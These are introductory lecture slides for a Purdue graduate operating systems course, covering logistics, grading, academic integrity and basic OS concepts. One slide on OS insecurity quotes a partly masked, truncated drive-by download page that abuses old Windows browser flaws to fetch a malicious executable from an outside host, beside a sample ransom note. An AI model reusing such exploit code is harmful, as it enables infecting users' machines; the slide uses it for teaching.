CS503: Operating Systems Spring 2014 Dongyan Xu Department of Computer Science Purdue University 1 General Information • Web Page: http://www.cs.purdue.edu/homes/cs503 • Textbook: – Douglas Comer, Operating System Design, The Xinu Approach (Linksys version) • Lab platform: – Xinu on Linksys router (MIPS ISA) – Xinu on x86 virtual machine 2 Staff • Dongyan Xu (7th time teaching CS354) – Ph.D. University of Illinois at Urbana-Champaign – Prof. (2013-present), Assoc. Prof. (2007-13), Assist. Prof. (2001-2007) – Research: • • • • Virtualization (VMware, Xen, KVM…) Malware (rootkits, botnets, APTs…) defense Cloud computing Binary reverse engineering • Office hours (Tue. 3pm-5pm, LWSN1173) 3 Staff • Teaching Assistants – Liang Li – Bo Sang • Office hours to be announced 4 On-line Discussion Venue: Piazza • Please join by accessing: – https://piazza.com/purdue/fall2013/cs503 • All announcements will be posted there • Discussion on labs • It is your responsibility to check for official announcements, clarification of lab specification, and answers to lab-related questions. • But grades will still be posted on Blackboard Learn – http://www.itap.purdue.edu/learning/tools/blackboard/ 5 PSOs • There are no PSO sessions this week and next week • The labs will be explained in PSOs. • Attendance is not mandatory (but encouraged) 6 Grading • Grade breakdown: – – – – Midterm: Final: Labs: Paper reviews: 20% 25% 45% 10% (5-6 papers) 7 Late/Grading Policies • Check Blackboard Learn for grade posting • Late policy for labs – No late submission accepted, but you will have 4 non-emergency Bonus Days (penalty-free) • Labs will be done individually – General discussion allowed – Must be on your own when coding starts 8 Re-Grading Policy • You have 2 weeks (after the grade for a lab/quiz/exam is released) to request for regrading • Re-grading requests for exams need to be in writing • After the re-grading period, no re-grading request will be honored. 9 Academic Integrity Policy • Academic integrity: lifeline in academia • Your labs, exams, and paper reviews must be your own - we have a zero tolerance policy towards cheating of any kind and any student who cheats will get – Zero for the project/quiz/exam at first offense – F grade for the course thereafter • Both the cheater and the person(s) who aided the cheater will be held responsible for the cheating 10 Lecture Format • Help you understand important and hard OS concepts, design, and implementation • Lectures do not cover everything – Not all questions in exams are from lectures – But many of them are • Your responsibility – – – – – Attend lectures Read code, textbook, lecture notes, assigned papers Labs, exams Periodically check web page Read/participate in Piazza discussion 11 Course Organization 1. 2. 3. 4. 5. 6. 7. 8. OS overview Computer architecture overview Processes scheduling and management Process synchronization Memory management Interrupt processing Device drivers File system 12 Pre-requisite • Undergraduate OS and architecture • C programming proficiency 13 Introduction 1. SABRE (IBM, 1964). The descendent of the Air Force’s fabled SAGE program, SABRE solved a problem for which computers were ideally suited: airline reservations. Just-intime inventory tracking, real-time data management, distributed enterprise systems? SABRE and American Airlines were there first. • A computer system consists of – Hardware – System programs – Application programs 14 Interfacing with Operating System What is an Operating System (OS) • It is a system program that sits between hardware and application programs. • The program starts running at boot time. • Who boots up the OS? – BIOS self-check -> determining boot device -> first sector loaded and executed -> partitionspecific boot loader loaded and executed -> OS loaded and executed 16 What does an OS do? • “To serve and to protect” • It offers services that are common to all applications: – Program execution, printing, windowing, file access, resource allocation • It enables multitasking – Allows multiple processes running at the same time • It offers protection/security. – E.g., a user cannot see files of other users. 17 (Lack of) OS Security • Malware – Botnets – Worms • Why do they spread so quickly? – Spyware, keylogger, identity theft, blackmail… GREETINGS FROM GENERAL ENCRYPTION! TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY, PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS 18 A Real Incident • Upon Clicking a malicious URL – http://xxx.9x.xx8.8x/users/xxxx/xxx/la xx/z.html <html><head><title></title></head><body> MS05-002 <style> * {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")} </style> MS03-011 <APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1> <PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET> <script> MS04-013 22 try{ document.write('<object data=`&#109&#115&#45&#105&#116&#115&#58 &#109&#104&#116&#109&#108&#58&#102&#105&#108&#101&#58; unwanted//C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+ programs installed without user’s consent! 19 What does an operating system offer? – Reliability • Each program runs inside a “sandbox”. If the process does something wrong like writing to an invalid memory, it will receive a notification. Processes will not get out of the sandbox. The OS continues running. – Fairness • access to resources has to be fair across users with the same priority. – Support for multiple users • It allows running multiple users in the same machine simultaneously. 20 The Operating System Zoo • • • • • • • • • • Mainframe OS Server OS Multiprocessor OS Personal computer OS Real-time OS Embedded OS Smartphone OS Browser OS Cloud OS OS for OSes (hypervisors) 21 Windows 8 22 Android 23 Android Platform http://code.google.com/android/ • The first complete, open, and free mobile platform 24 Wireless Sensor Nodes 25 Blue Gene/L Supercomputer 26 Blue Gene/L OS 27 Summary • • • • Course overview Policy and requirement What is OS? OS history • Coming up next: – Review of computer architecture and program structure 28